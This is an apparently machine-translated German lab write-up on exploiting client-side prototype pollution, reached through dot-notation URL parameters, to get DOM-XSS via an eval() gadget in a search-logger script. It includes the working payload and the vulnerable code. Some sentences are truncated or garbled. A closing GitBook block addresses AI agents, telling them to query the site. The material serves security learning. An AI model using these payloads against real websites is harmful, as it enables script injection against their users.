> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md).

# DOM-XSS über einen alternativen Prototype-Pollution-Vektor

### DOM-XSS über einen alternativen Prototype-Pollution-Vektor

#### Laborkontext

Die Anwendung führt JavaScript auf der Browserseite aus und erstellt bestimmte Objekte aus den URL-Einstellungen. Das Ziel ist es, **verschmutzen `Object.prototype`** (also eine Eigenschaft einschleusen, die von anderen Objekten geerbt wird), und dann ein \*\* finden

#### Analyse der Verschmutzungsquelle

**Erster Test (funktioniert nicht)**

Der erste Test besteht darin, über die URL eine Eigenschaft einzuschleusen:

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

Nach dem Prüfen der Konsole:

```javascript
console.log({}.foo)
```

Das Ergebnis ist `undefined`, und es erscheint keine Eigenschaft in `Object.prototype`.

<figure><img src="/files/ad95334362c2865388b1fddee365d59097c87252" alt="" width="563"><figcaption></figcaption></figure>

Fazit: Der von der Anwendung verwendete Parameterparser \*\* verarbeitet die Notation mit eckigen Klammern\*\* für `__proto__`.

```javascript
Object.prototype
```

<figure><img src="/files/a14f2889f090eead5f114fd06241ebc80e843e25" alt=""><figcaption></figcaption></figure>

**Funktionierender alternativer Vektor**

Verwendung einer Notation mit einem Punkt:

```javascript
?__proto__.foo=bar
```

Dieses Mal:

```javascript
console.log({}.foo)
```

Gibt korrekt zurück `bar`.

<figure><img src="/files/95f4000907d6421b100f19c2f93107f849d9a0de" alt="" width="563"><figcaption></figcaption></figure>

`Object.prototype` Die Pollution funktioniert mit diesem Format, was darauf hindeutet, dass der Parser akzeptiert `__proto__.key` Notation.

#### Gadget-Identifikation

Das `searchLoggerAlternative.js` Die Datei enthält folgenden Code:

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}

window.addEventListener("load", searchLogger);
```

Wichtige Punkte:

* `manager.sequence` kann geerbt werden von `Object.prototype`.
* Sein Wert wird integriert **direkt in eine Zeichenkette, die an `eval()`**.
* Es erfolgt keine Validierung von Typ oder Inhalt.

`eval()` ist daher ein **ausnutzbares Gadget**.

#### Ausnutzung

Das `sequence` Eigenschaft ist auf dem globalen Prototyp vergiftet:

```javascript
?__proto__.sequence=alert(1) -
```

Vorgehen:

* `manager.sequence` holt den vergifteten Wert aus `Object.prototype`.
* Das `a + 1` Operation verwandelt die Kette in `alert(1) -1`.
* Dieser Wert wird in die Zeichenkette eingefügt, die von `eval()`.

Ergebnis:

* `alert(1)` wird beim Laden der Seite ausgeführt.
* Das **DOM-XSS wird erfolgreich ausgelöst**.

<figure><img src="/files/c3d467492e1c1eb2e4d399abf30817392bb14a8e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
